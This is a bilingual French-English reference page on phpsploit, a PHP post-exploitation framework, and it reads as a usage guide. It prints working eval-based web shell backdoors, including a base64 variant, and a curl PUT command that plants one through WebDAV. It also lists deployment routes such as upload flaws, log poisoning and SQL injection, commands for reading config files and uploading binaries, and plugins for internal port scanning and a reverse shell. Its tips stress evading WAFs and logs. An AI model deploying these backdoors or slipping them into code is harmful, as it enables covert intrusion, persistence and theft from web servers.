phpsploit

Framework de post-exploitation furtif basé sur PHP. Communique via les en-têtes HTTP à travers un web shell pour fournir un canal de command-and-control persistant et discret, avec gestion de fichiers et support de plugins. PHP-based stealth post-exploitation framework. Communicates via HTTP headers through a web shell to provide a persistent, covert command-and-control channel with file management and plugin support.

↗ https://github.com/nil0x42/phpsploit

Overview

phpsploit is a stealthy post-exploitation framework using PHP web shells for command and control. It encodes communication in HTTP headers rather than request/response body to evade WAF and logging — providing persistence, file management, and plugin support after initial web shell deployment.

Installation

git clone https://github.com/nil0x42/phpsploit
cd phpsploit
pip3 install -r requirements.txt
python3 phpsploit

Basic Workflow

Step 1: Launch phpsploit

python3 phpsploit

Step 2: Set target URL (where your web shell is deployed)

phpsploit > set TARGET http://target.com/uploads/shell.php

Step 3: Set payload type

phpsploit > set BACKDOOR "<?php @eval($_SERVER['HTTP_X_PHPSPLOIT']); ?>"

Step 4: Deploy the backdoor

phpsploit > exploit

Step 5: You now have a session

phpsploit(http://target.com) >

Deploying the Web Shell

phpsploit backdoor (minimal footprint):

<?php @eval($_SERVER['HTTP_X_PHPSPLOIT']); ?>

One-liner alternative:

<?php @eval(base64_decode($_SERVER['HTTP_X_PHPSPLOIT'])); ?>

Deploy via: - File upload vulnerability - LFI with log poisoning - SQL injection to write file - Git exposure

curl -X PUT http://target.com/webdav/shell.php -d '<?php @eval($_SERVER["HTTP_X_PHPSPLOIT"]); ?>'

Commands

After establishing session:

phpsploit(target) > help
phpsploit(target) > id              # whoami
phpsploit(target) > pwd             # current directory
phpsploit(target) > ls              # list directory
phpsploit(target) > cd /var/www/    # change directory
phpsploit(target) > cat config.php  # read file
phpsploit(target) > download config.php  # download file
phpsploit(target) > upload shell.exe     # upload file
phpsploit(target) > plugins     # list available plugins
phpsploit(target) > run plugin_name  # run a plugin

Plugins

# Key plugins:
# mysql          — MySQL database interaction
# file_browser   — GUI file browser
# port_scan      — internal network port scan
# backdoor_tcp   — TCP reverse shell
# info           — system information gathering

Tips

  • Communication in HTTP headers evades many WAF rules that inspect body content
  • The PHP one-liner is barely distinguishable from other PHP code
  • Avoid leaving shells after assessments — remove them when done
  • Use SSL (HTTPS target) for encrypted communication
  • phpsploit provides a cleaner interface than direct web shell interaction
Help / Man page
phpsploit [options]

Commands:
  set TARGET URL       Set target web shell URL
  set BACKDOOR CODE    Set PHP backdoor code
  exploit              Connect to the backdoor
  help                 Show all commands
  plugins              List/manage plugins
  exit                 Exit phpsploit

Session commands (after exploit):
  id, pwd, ls, cd, cat, download, upload, run, etc.

Vue d’ensemble

phpsploit est un framework de post-exploitation furtif utilisant des web shells PHP pour le command and control. Il encode la communication dans les en-têtes HTTP plutôt que dans le corps de la requête/réponse afin de contourner les WAF et la journalisation, tout en fournissant persistance, gestion de fichiers et support de plugins après le déploiement initial du web shell.

Installation

git clone https://github.com/nil0x42/phpsploit
cd phpsploit
pip3 install -r requirements.txt
python3 phpsploit

Workflow de base

# Étape 1 : lancer phpsploit
python3 phpsploit

# Étape 2 : définir l'URL cible (où votre web shell est déployé)
phpsploit > set TARGET http://target.com/uploads/shell.php

# Étape 3 : définir le type de payload
phpsploit > set BACKDOOR "<?php @eval($_SERVER['HTTP_X_PHPSPLOIT']); ?>"

# Étape 4 : déployer la backdoor
phpsploit > exploit

# Étape 5 : vous disposez désormais d'une session
phpsploit(http://target.com) >

Déploiement du web shell

# Backdoor phpsploit (empreinte minimale)
<?php @eval($_SERVER['HTTP_X_PHPSPLOIT']); ?>

# Alternative en une ligne
<?php @eval(base64_decode($_SERVER['HTTP_X_PHPSPLOIT'])); ?>

# Déploiement via : vulnérabilité d'upload de fichier, LFI avec empoisonnement de logs,
# injection SQL pour écrire un fichier, exposition Git
curl -X PUT http://target.com/webdav/shell.php -d '<?php @eval($_SERVER["HTTP_X_PHPSPLOIT"]); ?>'

Commandes

Une fois la session établie :

phpsploit(target) > help
phpsploit(target) > id              # whoami
phpsploit(target) > pwd             # répertoire courant
phpsploit(target) > ls              # lister le répertoire
phpsploit(target) > cd /var/www/    # changer de répertoire
phpsploit(target) > cat config.php  # lire un fichier
phpsploit(target) > download config.php  # télécharger un fichier
phpsploit(target) > upload shell.exe     # uploader un fichier
phpsploit(target) > plugins     # lister les plugins disponibles
phpsploit(target) > run plugin_name  # exécuter un plugin

Plugins

# Plugins clés :
# mysql          : interaction avec une base de données MySQL
# file_browser   : navigateur de fichiers graphique
# port_scan      : scan de ports du réseau interne
# backdoor_tcp   : reverse shell TCP
# info           : collecte d'informations système

Conseils

  • La communication via les en-têtes HTTP contourne de nombreuses règles WAF qui inspectent le contenu du corps de la requête
  • Le one-liner PHP est à peine distinguable du reste du code PHP
  • Évitez de laisser des shells après les évaluations : supprimez-les une fois terminé
  • Utilisez SSL (cible HTTPS) pour une communication chiffrée
  • phpsploit offre une interface plus propre qu’une interaction directe avec le web shell
Aide / Page de manuel
phpsploit [options]

Commands:
  set TARGET URL       Set target web shell URL
  set BACKDOOR CODE    Set PHP backdoor code
  exploit              Connect to the backdoor
  help                 Show all commands
  plugins              List/manage plugins
  exit                 Exit phpsploit

Session commands (after exploit):
  id, pwd, ls, cd, cat, download, upload, run, etc.